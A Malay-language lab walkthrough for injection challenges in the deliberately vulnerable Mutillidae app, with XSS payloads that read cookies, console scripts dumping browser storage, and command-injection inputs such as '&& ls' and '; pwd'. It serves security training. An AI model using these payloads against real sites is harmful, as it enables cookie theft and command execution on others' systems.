multillidae walkthrough Part 4

[1] A1 Injection Part 4	
1	Startkan vm metasploitable2 anda.
2	Startkan kali-wsl dan taipkan command di bawah. (rujuk demo video) `$ kex`
3	Buka multillidae melalui Burp Suite Browser, dan rujuk demo video untuk mencuba challenge yang berkenaan.

4	**A1-Injection -> HTML Injection (HTMLi) -> Add to your blog**
	`Testing123`
	`<h1>Testing123</h1>`
	`----------`
	`<script>alert('Cookies which do not have the HTTPOnly attribute set: ' + document.cookie);</script>`
	
	`<script>alert(\'Cookies which do not have the HTTPOnly attribute set: \' + document.cookie);</script>`

5	**A1-Injection -> HTMLi via HTTP Headers -> Site Footer** Startkan Burp Suite Community. (Rujuk demo video) `Ubah dan manipulate User Agent dalam HTTP Request (boleh inject HTML atau javascript)`
6	**A1-Injection -> HTMLi via HTTP Headers -> HTTP Response Splitting** Penyelesaian adalah sama seperti dalam langkah 5

7 **A1-Injection -> HTMLi via DOM Injection -> HTML5 Storage**

Inspect element (lihat rungan storage) kemudian masukkan code berikut (ruangan console)

```
try{var m = "";var l = window.localStorage; var s =
window.sessionStorage;for(i=0;i<l.length;i++){var lKey =
l.key(i);m += lKey + "=" + l.getItem(lKey) +
";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey
+ "=" + s.getItem(lKey) +
";\n";};alert(m);}catch(e){alert(e.message);}
-------------------------------------------------------------

try{var m = "";var l = window.localStorage;var s =
window.sessionStorage;for(i=0;i<l.length;i++){var lKey =
l.key(i);m += lKey + "=" + l.getItem(lKey) +
";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey
+ "=" + s.getItem(lKey) +
";\n";};window.document.write(m);}catch(e){alert(e.message);}
-------------------------------------------------------------

try{var m = "";var l = window.localStorage;var s =
window.sessionStorage;for(i=0;i<l.length;i++){var lKey =
l.key(i);m += lKey + "=" + l.getItem(lKey) +
";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey
+ "=" + s.getItem(lKey) +
";\n";};console.log(m);}catch(e){alert(e.message);}
```

8 **A1-Injection -> HTMLi via Cookie Injection -> Capture Data Page**

1. Akses page berkenaan menggunakan Burp Suite
2. Ubah **Header Cookie** dan inject HTML code atau javascript menggunakan **repeater**
3. Paparkan menggunakan fungsi **Request in browser**

9 **A1-Injection -> Command Injection -> DNS Lookup**

```
www.google.com
www.google.com && ls
www.google.com ; pwd
```

10	**A1-Injection -> JavaScript Injection -> Password Generator** 1. Akses page berkenaan dan analisa javascript yang berkaitan 2. Manipulate parameter berkenaan : a. page=password-generator.php&username=anonymous b. page=password-generator.php&username=<h1>gh1mau</gh1mau>
11	**A1-Injection -> HTTP Parameter Pollution -> Poll Question** Startkan Burp Suite Community. (Rujuk demo video)
12	**A1-Injection -> Cacscading Style Injection -> Set Background Color** Startkan Burp Suite Community. (Rujuk demo video)
13	**A1-Injection -> JSON Injection -> PenTest Tool Lookup** Startkan Burp Suite Community. (Rujuk demo video)